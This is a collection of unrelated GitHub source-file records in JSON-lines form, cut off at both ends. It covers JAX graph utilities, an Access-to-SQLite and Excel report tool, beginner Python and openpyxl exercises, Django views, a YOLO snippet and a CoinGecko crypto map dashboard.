validation_data=valid_generator,\r\n validation_steps=STEP_SIZE_VALID,\r\n epochs=EPOCHS,\r\n verbose=1).history\r\n\r\n \r\nmodel.save(\"NewModel.h5\")","repo_name":"SahejBahl/Diabetic-Retinopathy-Image-Classifier","sub_path":"trainmodel.py","file_name":"trainmodel.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"31622789935","text":"\"\"\" This file contains helpful utility functions for the JAX models.\"\"\"\nfrom typing import Callable, NamedTuple, Optional, Tuple\n\nimport jax\nimport jax.numpy as jnp\nimport jraph\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\n\ndef get_activation_fn(activation: Optional[str] = \"relu\") -> Callable:\n \"\"\"\n Args:\n activation: Activation function to use.\n Returns:\n Activation function.\n \"\"\"\n if activation == \"relu\":\n return jax.nn.relu\n elif activation == \"sigmoid\":\n return jax.nn.sigmoid\n elif activation == \"tanh\":\n return jax.nn.tanh\n elif activation == \"swish\":\n return jax.nn.swish\n elif activation == \"elu\":\n return jax.nn.elu\n else:\n raise RuntimeError(f\"Invalid activation function: {activation}\")\n\n\ndef get_aggregation_fn(aggregation_fn: Optional[str] = \"sum\") -> Callable:\n \"\"\"\n Returns aggregation function.\n\n Args:\n aggregation_fn: Aggregation function to use.\n Returns:\n Aggregation function: Callable function with signature\n (data, segment_ids, num_segments=None)\n \"\"\"\n if aggregation_fn == \"sum\":\n fn = jax.ops.segment_sum\n elif aggregation_fn == \"mean\":\n fn = jax.ops.segment_mean\n elif aggregation_fn == \"max\":\n fn = jax.ops.segment_max\n else:\n raise RuntimeError(f\"Invalid aggregation function: {aggregation_fn}\")\n\n return fn\n\n\ndef _convert_jraph_to_networkx_graph(jraph_graph: jraph.GraphsTuple) -> nx.Graph:\n \"\"\"\n Converts a jraph.GraphsTuple to a networkx graph. Adapted from the jraph tutorial.\n\n Args:\n jraph_graph: jraph.GraphsTuple\n Returns:\n nx_graph: nx.Graph\n \"\"\"\n nodes, edges, receivers, senders, globals, n_node, n_edge = jraph_graph\n nx_graph = nx.DiGraph()\n for n in range(jnp.sum(n_node)):\n nx_graph.add_node(n, node_feature=nodes[n])\n for e in range(jnp.sum(n_edge)):\n nx_graph.add_edge(int(senders[e]), int(receivers[e]), edge_feature=edges[e])\n return nx_graph\n\n\ndef draw_jraph_graph_structure(\n jraph_graph: jraph.GraphsTuple, directional: bool = False\n):\n \"\"\"\n Draws a jraph.GraphsTuple using networkx. Adapted from the jraph tutorial.\n\n Args:\n jraph_graph: jraph.GraphsTuple\n directional: Whether to draw the graph as a directed graph.\n \"\"\"\n if not directional:\n senders = jnp.concatenate([jraph_graph.senders, jraph_graph.receivers], axis=0)\n receivers = jnp.concatenate(\n [jraph_graph.receivers, jraph_graph.senders], axis=0\n )\n edges = jnp.concatenate([jraph_graph.edges] * 2, axis=0)\n n_edge = jraph_graph.n_edge * 2\n jraph_graph = jraph_graph._replace(\n senders=senders, receivers=receivers, edges=edges, n_edge=n_edge\n )\n nx_graph = _convert_jraph_to_networkx_graph(jraph_graph)\n pos = nx.spring_layout(nx_graph)\n plt.figure(figsize=(5, 4))\n nx.draw(nx_graph, pos=pos, with_labels=True, node_size=500, font_color=\"yellow\")\n\n\ndef print_graph_properties(graph: jraph.GraphsTuple, name: Optional[str] = None):\n \"\"\"\n Prints properties of a jraph.GraphsTuple.\n\n Args:\n graph: jraph.GraphsTuple\n \"\"\"\n assert (\n graph.senders.shape == graph.receivers.shape == (jnp.sum(graph.n_edge),)\n ), \"Invalid graph, number of senders and receivers does not match number of edges.\"\n print(\"-\" * 80)\n if name is not None:\n print(f\"{name} properties: \\n\")\n else:\n print(\"Graph properties:\")\n print(f\"Number of nodes: {graph.n_node}\")\n print(f\"Number of edges: {graph.n_edge}\")\n print(f\"Node features shape: {graph.nodes.shape}\")\n print(f\"Edge features shape: {graph.edges.shape}\")\n print(f\"Senders: {graph.senders}\")\n print(f\"Receivers: {graph.receivers}\")\n print(\"-\" * 80)\n print()\n\n\n# ------------------------------- data structures -------------------------------#\n\n\nclass NodeFeatures(NamedTuple):\n \"\"\"\n Node features.\n\n Attributes:\n - latent: Latent representation of the node. Shape (n_nodes, latent_dim)\n - position: Position of the node. Shape (t, n_nodes, spatial_dim)\n - velocity: Velocity of the node. Shape (t, n_nodes, spatial_dim)\n - acceleration_mean: Mean acceleration of the node. Shape\n (t, n_nodes, spatial_dim)\n - acceleration_covariance: Covariance of the acceleration of the node. Shape\n (t, n_nodes, spatial_dim, spatial_dim)\n - mass: Mass of the node. Shape (n_nodes, )\n - is_coarse: Particle type of the node. Shape (n_nodes, )\n - target_position: Target position of the node. Shape (n_nodes, spatial_dim)\n - coarse_score: Probability of the node being in the coarse region. Shape\n (n_nodes, )\n \"\"\"\n\n latent: jnp.ndarray = None\n\n position: jnp.ndarray = None\n velocity: jnp.ndarray = None\n acceleration_mean: jnp.ndarray = None\n acceleration_covariance: jnp.ndarray = None\n\n mass: jnp.ndarray = None\n\n is_coarse: jnp.ndarray = None\n is_padding: Optional[jnp.ndarray] = None\n\n target_position: Optional[jnp.ndarray] = None\n\n coarse_score: Optional[jnp.ndarray] = None\n\n\nclass EdgeFeatures(NamedTuple):\n \"\"\"\n Edge features.\n\n Attributes:\n - latent: Latent representation of the edge. Shape (n_edges, latent_dim)\n - is_padding: Whether the edge is padding. Shape (n_edges, )\n \"\"\"\n\n latent: jnp.ndarray = None\n is_padding: Optional[jnp.ndarray] = None\n\n\nclass GraphsTuple(NamedTuple):\n \"\"\"\n GraphsTuple with additional functionality.\n\n Attributes:\n - senders: Senders of the edges. Shape (n_edges, )\n - receivers: Receivers of the edges. Shape (n_edges, )\n - nodes: NodeFeatures\n - edges: EdgeFeatures\n\n Methods:\n - get_latent_graph: Returns a graph with only latent features.\n - get_position_graph: Returns a graph with only position features.\n - replace_latent: Returns a graph with the latent nodes and edges replaced by\n the given nodes and edges.\n - replace_positional: Returns a graph with the positional information replaced.\n \"\"\"\n\n senders: jnp.ndarray\n receivers: jnp.ndarray\n nodes: NodeFeatures\n edges: EdgeFeatures\n\n def get_latent_graph(self) -> jraph.GraphsTuple:\n \"\"\"Returns a graph with only latent features.\"\"\"\n return self._replace(nodes=self.nodes.latent, edges=self.edges.latent)\n\n def get_position_graph(self) -> jraph.GraphsTuple:\n \"\"\"Returns a graph with only position features.\"\"\"\n return self._replace(nodes=self.nodes.position)\n\n def replace_latent(\n self,\n latent_node_features: Optional[jnp.ndarray],\n latent_edge_features: Optional[jnp.ndarray],\n ):\n \"\"\"\n Returns a graph with the latent nodes and edges replaced by the given nodes and\n edges.\n \"\"\"\n assert (\n latent_node_features is not None or latent_edge_features is not None\n ), \"At least one of the latent node or edge features must be given.\"\n if latent_node_features is None:\n latent_node_features = self.nodes.latent\n if latent_edge_features is None:\n latent_edge_features = self.edges.latent\n return self._replace(\n nodes=self.nodes._replace(latent=latent_node_features),\n edges=self.edges._replace(latent=latent_edge_features),\n )\n\n def replace_positional(\n self, acceleration: jnp.ndarray, velocity: jnp.ndarray, position: jnp.ndarray\n ):\n \"\"\"\n Returns a graph with the positional nodes replaced by the given nodes.\n \"\"\"\n nodes = self.nodes._replace(\n acceleration=acceleration, velocity=velocity, position=position\n )\n return self._replace(nodes=nodes)\n\n\ndef on_latent(function: Callable, graph: GraphsTuple, *args, **kwargs):\n \"\"\"\n Executes a function on the latent graph of the given graphs tuple.\n\n Args:\n function: Function to execute on the latent graph.\n graph: Graphs tuple.\n Returns:\n The graphs tuple with the latent graph replaced by the result of the function.\n \"\"\"\n latent_graph = graph.get_latent_graph()\n latent_graph = function(graph=latent_graph, *args, **kwargs)\n return graph.replace_latent(\n latent_edge_features=latent_graph.edges, latent_node_features=latent_graph.nodes\n )\n\n\nclass MultiResolutionSettings(NamedTuple):\n \"\"\"\n Settings for multi resolution clustering and connectivity computation. Single values\n are used for each call to the multi resolution clustering function, lists are used\n to store the state of the multi resolution clustering function over multiple calls\n with different graphs, i.e. fine-grained and coarse-grained graphs.\n\n Attributes:\n - edge_capacity: Maximum number of edges after the multi resolution clustering.\n - maximum_num_splits: Maximum number of splits. The splits assignments will be\n padded to this length.\n - maximum_num_merges: Maximum number of merges. The number of merges will be\n padded to this amount.\n - coarse_radius_cutoff: Radius cutoff for the coarse-grained graph.\n - fine_radius_cutoff: Radius cutoff for the fine-grained graph.\n - box: Box size of the simulation. Used to compute the periodic boundary\n conditions.\n - periodic_boundary_conditions: Whether the periodic boundary conditions are\n active in the x, y and z direction.\n - interface_heights: Heights of the interfaces if used.\n - merge_threshold: Threshold for the merge assignment.\n - split_threshold: Threshold for the split assignment.\n - split_offset: Offset for the split assignment.\n - additional_node_padding: Additional padding for the nodes.\n \"\"\"\n\n coarse_node_capacity: int\n edge_capacity: int\n maximum_num_splits: int\n maximum_num_merges: int\n\n coarse_radius_cutoff: float\n fine_radius_cutoff: float\n box: Tuple[float] = (1.0, 2.0)\n periodic_boundary_conditions: Tuple[bool] = (True, True, True)\n\n interface_heights: Optional[Tuple[float]] = (0.0, 0.25, 0.75, 1.25, 1.75, 2.0)\n merge_threshold: float = 0.5\n split_threshold: float = 0.5\n\n split_offset: float = 0.015\n\n additional_node_padding: int = 0\n\n def increase_buffer(\n self, state: \"MultiResolutionState\", capacity_factor: float = 1.25\n ):\n \"\"\"\n Increases the buffer size of the multi resolution clustering.\n Note that in the case of a padding underflow, the changes are\n more drastic and do not happen here.\n\n Args:\n state: State of the multi resolution clustering.\n capacity_factor: Factor by which the capacity is increased.\n \"\"\"\n maximum_num_merges = (\n int(state.merge_overflow * capacity_factor)\n if state.merge_overflow > 0\n else self.maximum_num_merges\n )\n maximum_num_splits = (\n int(state.split_overflow * capacity_factor)\n if state.split_overflow > 0\n else self.maximum_num_splits\n )\n edge_capacity = (\n int(state.edge_overflow * capacity_factor)\n if state.edge_overflow > 0\n else self.edge_capacity\n )\n return self._replace(\n maximum_num_merges=maximum_num_merges,\n maximum_num_splits=maximum_num_splits,\n edge_capacity=edge_capacity,\n )\n\n\nclass MultiResolutionState(NamedTuple):\n \"\"\"\n State handling the overflow of the multi resolution clustering. Zero values are used\n to indicate that no overflow occured.\n\n Attributes:\n - merge_underflow: Number of merges that caused a merge underflow.\n - split_overflow: Number of splits that caused a split overflow.\n - padding_underflow: Number of padding nodes that caused a padding underflow.\n \"\"\"\n\n merge_overflow: jnp.array = jnp.array(0)\n split_overflow: jnp.array = jnp.array(0)\n padding_underflow: jnp.array = jnp.array(0)\n edge_overflow: jnp.array = jnp.array(0)\n\n def did_buffer_overflow(self) -> bool:\n \"\"\"\n Returns whether there was any buffer overflow.\n \"\"\"\n return (\n self.merge_overflow > 0\n or self.split_overflow > 0\n or self.padding_underflow > 0\n or self.edge_overflow > 0\n )\n","repo_name":"panicPaul/mr-sph-2","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"70974576966","text":"\"\"\"\nCreated on Sun Aug 20 20:52:53 2023\n@author: Tahsinah Banu\n\"\"\"\n\ndef special_for(iterable):\n iterator = iter(iterable)\n while True:\n try:\n print(iterator)\n print(next(iterator)*2)\n except StopIteration:\n break\n \nspecial_for([1,2,3])","repo_name":"Tahsinah59/python-tutorial","sub_path":"Advanced_python_generator/generator4.py","file_name":"generator4.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"11114490865","text":"import datetime\nimport os\nimport sys\nimport sqlite3\nimport openpyxl\nimport pyodbc\nimport re\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom tkinter.filedialog import askopenfile\nfrom tkinter.messagebox import showinfo\nfrom collections import namedtuple\nfrom multiprocessing import pool\n\n# Creditors will be typed in the form:\n# type Creditor:\n# Order ID: Int\n# Creditor Name: String\n# Amount Credited: Double\n# Date Credited: Datetime\n# Cashier: String\ncreditorDict = {}\n\nthread_pool = pool.ThreadPool(processes=1)\n\n\nclass Process:\n def __init__(self, root, _file):\n super().__init__()\n self.pb = Progressbar(\n root,\n orient='horizontal',\n mode='determinate',\n length=200\n )\n self.root = root\n self._file = _file\n\n def __progress(self, amt):\n cur_val = self.pb['value']\n if cur_val + amt < 100:\n # update progressbar\n self.pb['value'] += amt\n self.root.update_idletasks()\n else:\n # close the progressbar\n self.pb.stop()\n self.pb.destroy()\n showinfo(\"Success\", \"The report has been generated successfully.\")\n\n def run(self):\n self.pb.pack()\n self.root.update_idletasks()\n\n mdb_to_sqlite(self._file.name)\n self.__progress(25)\n\n database = connect_to_database(\"db_as_sqlite.sqlite\")\n self.__progress(25)\n\n crunch_raw_data(database)\n self.__progress(25)\n\n create_excel_spreadsheet(os.path.dirname(self._file.name))\n self.__progress(25)\n\n def start(self):\n return thread_pool.apply_async(self.run)\n\n\ndef mdb_to_sqlite(mdb_file):\n cnxn = pyodbc.connect('Driver={{Microsoft Access Driver (*.mdb, *.accdb)}};Dbq={};'.format(mdb_file))\n\n cursor = cnxn.cursor()\n\n conn = sqlite3.connect(\"db_as_sqlite.sqlite\")\n c = conn.cursor()\n\n Table = namedtuple('Table', ['cat', 'schem', 'name', 'type'])\n\n # get a list of tables\n tables = []\n for row in cursor.tables():\n if row.table_type == 'TABLE':\n t = Table(row.table_cat, row.table_schem, row.table_name, row.table_type)\n tables.append(t)\n\n for t in tables:\n if (t.name != 'OrderHeaders' and t.name != 'EmployeeFiles'):\n continue\n print(t.name)\n\n # SQLite tables must being with a character or _\n t_name = t.name\n if not re.match('[a-zA-Z]', t.name):\n t_name = '_' + t_name\n\n # get table definition\n columns = []\n\n def populate_columns():\n for cursor_row in cursor.columns(table=t.name):\n print(' {} [{}({})]'.format(cursor_row.column_name, cursor_row.type_name, cursor_row.column_size))\n col_name = re.sub('[^a-zA-Z0-9]', '_', cursor_row.column_name)\n optimistic_col = '{} {}({})'.format(col_name, cursor_row.type_name, cursor_row.column_size)\n if optimistic_col not in columns:\n columns.append(optimistic_col)\n\n try:\n populate_columns()\n except UnicodeDecodeError:\n def decode_sketchy_utf16(raw_bytes):\n s = raw_bytes.decode(\"utf-16le\", \"ignore\")\n try:\n n = s.index('\\u0000')\n s = s[:n] # respect null terminator\n except ValueError:\n pass\n return s\n\n prev_converter = cnxn.get_output_converter(pyodbc.SQL_WVARCHAR)\n cnxn.add_output_converter(pyodbc.SQL_WVARCHAR, decode_sketchy_utf16)\n populate_columns()\n cnxn.add_output_converter(pyodbc.SQL_WVARCHAR, prev_converter)\n\n cols = ', '.join(columns)\n\n # create the table in SQLite\n print(f\"Creating table {t_name}...\\n{cols}\")\n c.execute('DROP TABLE IF EXISTS \"{}\"'.format(t_name))\n print(f'Dropped table {t_name}!')\n\n try:\n c.execute('CREATE TABLE \"{}\" ({})'.format(t_name, cols))\n print(f\"Created table {t_name}!\")\n except sqlite3.OperationalError as e:\n print(f'Couldn\\'t create ${t_name}', e)\n continue\n\n # copy the data from MDB to SQLite\n print(f\"Copying data from {t.name} to {t_name}...\")\n cursor.execute('SELECT * FROM \"{}\"'.format(t.name))\n for row in cursor:\n values = []\n for value in row:\n if value is None:\n values.append(u'NULL')\n else:\n if isinstance(value, bytearray):\n value = sqlite3.Binary(value)\n else:\n value = u'{}'.format(value)\n values.append(value)\n v = ', '.join(['?'] * len(values))\n print(f'Appending {values} to {t_name}')\n sql = 'INSERT INTO \"{}\" VALUES(' + v + ')'\n c.execute(sql.format(t_name), values)\n\n print(\"Committing changes to database...\")\n conn.commit()\n print(\"Changes committed!\")\n conn.close()\n\n\ndef connect_to_database(database_location):\n return sqlite3.connect(database_location)\n\n\ndef crunch_raw_data(database):\n print(\"Crunching raw data...\")\n\n # Parse entries into an abstract Creditor type\n database_cursor = database.cursor()\n all_open_orders = database_cursor.execute(\n \"SELECT OrderID, SpecificCustomerName, AmountDue, EmployeeID, OrderDateTime, OrderStatus FROM OrderHeaders where OrderStatus = 1\"\n ).fetchall()\n all_employees = database_cursor.execute(\n \"SELECT EmployeeID, FirstName, LastName FROM EmployeeFiles\"\n ).fetchall()\n database_cursor.close()\n database.close()\n\n db_path = os.path.join(os.getcwd(), \"db_as_sqlite.sqlite\")\n if os.path.exists(db_path):\n os.remove(db_path)\n else:\n print(\"The database file didn't exist at {}.\".format(db_path))\n\n for order in all_open_orders:\n order_id = order[0]\n creditor_name = order[1]\n amount_credited = order[2]\n date = order[4]\n employee = list(filter(lambda x: x[0] == order[3], all_employees))[0]\n cashier = f'{employee[1]} {employee[2]}'\n creditorDict[order_id] = (creditor_name, amount_credited, cashier, date)\n\n\n# This function turns the Creditor abstract type into a\n# Excel spreadsheet using openpyxl. The spreadsheet will\n# contain the OrderID, Creditor Name, Amount Credited, and\n# Cashier as columns.\ndef create_excel_spreadsheet(path=\"\"):\n print(\"Creating excel spreadsheet...\")\n spreadsheet_name = f\"{path}/creditors-{datetime.datetime.now().strftime('%d-%m-%Y')}.xlsx\"\n\n # Create workbook if creditors.xlsx does not exist,\n # if it does, the file will just be overwritten.\n try:\n workbook = openpyxl.load_workbook(spreadsheet_name)\n except FileNotFoundError:\n workbook = openpyxl.Workbook()\n workbook.save(spreadsheet_name)\n\n worksheet = workbook.active\n cur_row = 1\n for order_id, order_info in creditorDict.items():\n print(f\"Appending order {order_id} to spreadsheet...\")\n\n # Use the order_id and order_info to populate the\n # spreadsheet rows.\n worksheet[f\"A{cur_row}\"] = order_id\n worksheet[f\"B{cur_row}\"] = order_info[0]\n worksheet[f\"C{cur_row}\"] = order_info[1]\n worksheet[f\"D{cur_row}\"] = order_info[2]\n worksheet[f\"E{cur_row}\"] = order_info[3]\n cur_row += 1\n workbook.save(spreadsheet_name)\n print(f\"Spreadsheet created and saved as {spreadsheet_name}.\")\n\n\ndef start_gui():\n root = Tk()\n root.title(\"Quick Open Order Report\")\n root.minsize(300, 100)\n root.geometry(\"300x100+50+50\")\n\n Label(root, text=\"Select the database location\").pack()\n\n def open_file():\n _file = askopenfile(mode='r', filetypes=[('Microsoft Access Database', '*.mdb')])\n if _file is not None:\n process_thread = Process(root, _file)\n process_thread.start()\n\n btn = Button(root, text='Open', command=lambda: open_file())\n btn.pack(side=TOP, pady=10)\n root.mainloop()\n return root\n\n\nif __name__ == \"__main__\":\n try:\n start_gui()\n except KeyboardInterrupt:\n thread_pool.terminate()\n sys.exit(0)\n","repo_name":"bombies/greens-pub-creditors","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"10531594763","text":"# Exercicio 7\r\nprint(\"\\t\\t\\t\\tPlanetas\")\r\nprint(\"\\t\\t\\t\\t1 - Mercúrio\")\r\nprint(\"\\t\\t\\t\\t2 - Venus\")\r\nprint(\"\\t\\t\\t\\t3 - Marte\")\r\nprint(\"\\t\\t\\t\\t4 - Júpiter\")\r\nprint(\"\\t\\t\\t\\t5 - Saturno\")\r\nprint(\"\\t\\t\\t\\t6 - Urano\")\r\n\r\npeso = float(input(\"\\n\\n\\tIndique o seu peso:\"))\r\nplaneta = int(input(\"\\n\\n\\tCódigo do planeta:\"))\r\n\r\nif planeta ==1:\r\n gravidade= 0.37\r\nelif planeta ==2:\r\n gravidade= 0.88\r\nelif planeta == 3:\r\n gravidade= 0.38\r\nelif planeta == 4:\r\n gravidade= 2.64\r\nelif planeta ==5:\r\n gravidade= 1.15\r\nelse:\r\n gravidade= 1.17\r\npesoPlaneta = peso*gravidade\r\nprint(\"\\n\\tO seu peso de {:.2f} kg, no planeta {:.0f} seria {:.2f}\" .format(peso, planeta, pesoPlaneta))\r\n","repo_name":"mariopinto18/ESMAD-AED-2223","sub_path":"Ficha 02/Ex07.py","file_name":"Ex07.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"23997721332","text":"from django.http import HttpResponse\nfrom django.template import loader\nfrom django.shortcuts import redirect\n\n\n# Create your views here.\ndef index(request):\n\n return redirect('task:index')\n\n\ndef stickers(request):\n template = loader.get_template('sticker/index.html')\n context = {\n\n }\n return HttpResponse(template.render(context, request))\n","repo_name":"OneBeatxdd/Sello","sub_path":"Sello/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"28527092156","text":"from ultralytics import YOLO\nimport cv2\nimport numpy as np\n\nmodel = YOLO('yolov5s.pt')\nresults = model.predict('images/cat-frezze.jpeg',stream=True, retina_masks=True)\nfor result in results:\n mask = result.masks.cpu().numpy()\n masks = mask.masks.astype(bool)\n ori_img = result.orig_img\n for m in masks:\n new = np.zeros_like(ori_img, dtype=np.uint8)\n new[m] = ori_img[m]\n cv2.imshow('p', new)\n if cv2.waitKey(0) == ord('q'):\n break","repo_name":"alfajri23/kesegaran-ikan","sub_path":"segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"15012187841","text":"from openpyxl import *\n\n\"\"\"\n2. Отобразите все уникальные название городов, \nкатегорий, регионов из файла ‘food.xlsx’\n\"\"\"\ndef showUniqueData(filename, sheet):\n\n\n #unique regions\n region = sheet['B']\n regionList = [r.value for r in region if r.value!='Region']\n\n regionList = list(set(regionList))\n print(f'Уникальные регионы из файла: {regionList}')\n\n # unique cities\n cities = sheet['C']\n cityList = [c.value for c in cities if c.value!='City']\n\n cityList = list(set(cityList))\n print(f'Уникальные города из файла: {cityList}')\n\n # unique categories\n categories = sheet['D']\n categoriesList = [categ.value for categ in categories if categ.value != 'Category']\n\n categoriesList = list(set(categoriesList))\n print(f'Уникальные Категории из файла: {categoriesList}')\n\n\n\"\"\"\n3. \na) Создайте страницу ‘marks’\n\nb) Создайте следующие заголовки:\n• Имя школьника\n• Математика\n• География\n• Астрономия\n• Химия\n• Физика\n\nc) Примите от пользователя количество учеников, которых необходимо добавить в данный файл, \nпутем цикла примите данные для этих учеников и заполните исходя из заголовка задания b)\n\nd) Используя формулу запишите в отдельные поля:\n• Итоговая оценка (Всех учеников)\n• Средняя оценка (Для всех учеников)\n\"\"\"\n\ndef taskThree(filename, sheet, wb):\n\n headersList = ['ФИО', 'Математика', 'География','Астрономия','Химия',\n 'Физика', 'Среднее значение','Cумма']\n dataStudents = list()\n #=AVERAGE(B2:F2)\n #=SUM(B2:F2)\n\n #quantChild = int(input('Введите кол-во учеников для записи: '))\n\n quantChild = int(input('Кол-во учеников'))\n\n for i in range(quantChild):\n name = input('Имя ученика: ')\n math = int(input('Оценка по Математике: '))\n geography = int(input('Оценка по Географии: '))\n astronomy = int(input('Оценка по Астрономии: '))\n chemistry = int(input('Оценка по Химии: '))\n physics = int(input('Оценка по Физике: '))\n\n dataStudents.append((name,math,geography,astronomy,chemistry,physics))\n\n dataStudents.insert(0,tuple(headersList))\n #print(dataStudents)\n dataStudents = tuple(dataStudents)\n\n for data in dataStudents:\n sheet.append(data)\n\n counter = 2\n for i in range(quantChild):\n sheet['H'+str(counter)] = f'=SUM(B{counter}:F{counter})'\n sheet[f'G{counter}'] = f'=AVERAGE(B{counter}:F{counter})'\n counter += 1\n\n # sheet['H1'] = 'Total'\n # sheet['H2'] = '=SUM(B2:F2)'\n # sheet['H3'] = '=SUM(B3:F3)'\n # sheet['H4'] = '=SUM(B4:F4)'\n #\n # sheet['G1'] = 'Average'\n # sheet['G2'] = '=AVERAGE(B2:F2)'\n # sheet['G3'] = '=AVERAGE(B3:F3)'\n # sheet['G4'] = '=AVERAGE(B4:F4)'\n\n wb.save(filename)\n\n\ndef main():\n filename = 'food.xlsx'\n\n wb = load_workbook(filename)\n sheet = wb.worksheets[0]\n sheet2 = wb.create_sheet('marks')\n\n showUniqueData(filename, sheet)\n taskThree(filename, sheet2, wb)\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","repo_name":"almazuulu/PythonLessonEvening","sub_path":"Lesson15_FileOperation/PracticeLesson15_part2.py","file_name":"PracticeLesson15_part2.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"17602509812","text":"import pandas as pd\nimport numpy as np\nfrom requests import api \nfrom pycoingecko import CoinGeckoAPI\nimport panel as pn\nimport plotly.express as px\nimport yfinance as yf\nimport os \npn.extension(\"plotly\")\n\n\ndef get_mapbox():\n mapbox_access_token = \"pk.eyJ1IjoiaWdneWljY3kiLCJhIjoiY2txeXJjMHM3MHo0ZjJ4cGoyanJ2Z2oweiJ9.Xw5mIyFuzqCf7palpJk8Jw\"\n px.set_mapbox_access_token(mapbox_access_token)\n\n ######## ----- Get the countries data - geocodes, currency codes, etc, saved in a CSV - concap.csv -----\n\n country_currency = api.get('http://country.io/currency.json').json()\n df_country_currency = pd.DataFrame(columns=['Code', 'Curr_code'], dtype=object)\n for key,value in country_currency.items():\n df_country_currency = df_country_currency.append(pd.Series(\n [\n key,\n value\n ], index= df_country_currency.columns ), ignore_index=True)\n df_country_currency.set_index('Code',inplace=True)\n\n df_country_geocodes = pd.read_csv('static/concap.csv', index_col=None)\n df_country_geocodes.dropna(inplace=True)\n df_country_geocodes.set_index('CountryCode', inplace=True)\n\n ######## ----- Concatenate the 2 DFs together to have the data in the foll, format: -----\n df_country_data = pd.concat([df_country_geocodes, df_country_currency], axis='columns', join='inner')\n\n ######## ----- Getting the crypto data - This will be used in the final project code -----\n fiat = df_country_data.Curr_code.to_list()\n gecko = CoinGeckoAPI()\n crypto_prices = gecko.get_price(ids=['bitcoin','litecoin', 'ripple'], vs_currencies=fiat, include_market_cap=True, include_24hr_vol=True, include_24hr_change=True)\n df_gecko_data = pd.DataFrame.from_dict(crypto_prices)\n df_gecko_data.index = df_gecko_data.index.str.upper()\n\n ######## ----- Forming 3 DFs (df_cryp_prices, df_cryp_change, df_cryp_vol) frmom the data received -----\n crypto_names = df_gecko_data.columns.to_list()\n\n df_cryp_prices = pd.DataFrame(columns= (['Curr'] + crypto_names)).set_index('Curr')\n\n cols_change =['Curr']\n for a in crypto_names: cols_change += [f'{a}_chg']\n cols_change += ['Score_chg']\n\n df_cryp_change = pd.DataFrame(columns=cols_change)\n\n cols_vol =['Curr']\n for a in crypto_names: cols_vol += [f'{a}_vol']\n cols_vol += ['Score_vol']\n\n df_cryp_vol = pd.DataFrame(columns= cols_vol)\n\n row_2 = []\n for row in df_gecko_data.index:\n \n row_data = df_gecko_data.loc[row]\n \n if len(row) == 3:\n df_cryp_prices = df_cryp_prices.append(row_data)\n \n elif '_24H_CHANGE' in row:\n row_2 = [row[0:3]]\n row_2.extend(row_data)\n avg = np.average(row_data)\n row_2.extend([np.average(row_data)])\n \n df_cryp_change = df_cryp_change.append(pd.Series(row_2, index= df_cryp_change.columns), ignore_index=True)\n \n elif '_24H_VOL' in row:\n row_2 = [row[0:3]]\n row_2.extend(row_data)\n avg = np.average(row_data)\n row_2.extend([np.average(row_data)])\n \n df_cryp_vol = df_cryp_vol.append(pd.Series(row_2, index= df_cryp_vol.columns), ignore_index=True)\n\n df_cryp_change.set_index('Curr', inplace= True)\n df_cryp_vol.set_index('Curr', inplace= True)\n\n df_crypto_complete = pd.concat([df_cryp_prices, df_cryp_change, df_cryp_vol], axis='columns', join='inner')\n\n ######## ----- Forming the dataframe which can be sent for plotting -----\n\n col_names_plotting = ['Curr'] + crypto_names + ['Score_chg', 'Score_vol']\n df_crypto_print = pd.DataFrame(columns= col_names_plotting)\n\n for row in df_crypto_complete.index:\n row_print = [row]\n for name in crypto_names:\n col_name = name\n price_val = df_crypto_complete.loc[row][col_name]\n change_val = df_crypto_complete.loc[row][f'{col_name}_chg']\n vol_val = df_crypto_complete.loc[row][f'{col_name}_vol']\n price = \"Price: {:,.2f}\".format(price_val) + \", Change: {:,.2f}\".format(change_val) + \", Volume: {:,.2f}\".format(vol_val)\n row_print += [price] \n row_print += [df_crypto_complete.loc[row]['Score_chg']] + [df_crypto_complete.loc[row]['Score_vol']] \n df_crypto_print = df_crypto_print.append(pd.Series(row_print, index= df_crypto_print.columns), ignore_index=True)\n\n df_crypto_print.set_index('Curr', inplace= True)\n\n df_plot = df_country_data.merge(df_crypto_print, left_on='Curr_code', right_index=True, how='inner')\n\n hover_data = {'ContinentName': False, 'CountryName':False, 'CapitalLatitude':False, 'CapitalLongitude':False, 'Curr_code':True,\n 'ripple': True, 'bitcoin': True, 'litecoin':True}\n\n map1 = px.scatter_mapbox(\n df_plot,\n lat=\"CapitalLatitude\",\n lon=\"CapitalLongitude\",\n color=\"Score_chg\",\n hover_name='CountryName',\n hover_data= hover_data, #['CapitalName', 'Curr_code' ],\n zoom = 2,\n mapbox_style='mapbox://styles/mapbox/cjcunv5ae262f2sm9tfwg8i0w',\n height=1000\n )\n\n return map1 \n\ndef get_status_updates():\n df_status_updates = pd.DataFrame(columns=['Category', 'Logo', 'Symbol', 'Description', 'Created_at', 'User'], index=None)\n df_status_updates.columns\n\n category = ['general', 'software_release', 'milestone', 'exchange_listing']\n\n for cat in category:\n\n enpoint_url = f\"https://api.coingecko.com/api/v3/status_updates?category={cat}&project_type=coin&per_page=8&page=1\"\n status_upd_json = api.get(enpoint_url).json()\n status_upd = status_upd_json['status_updates']\n\n for status in status_upd:\n # print(status)\n user_name = status['user']\n user_title = status['user_title']\n user = f'{user_name} ({user_title})'\n\n image_txt = status['project']['symbol']\n image_url = 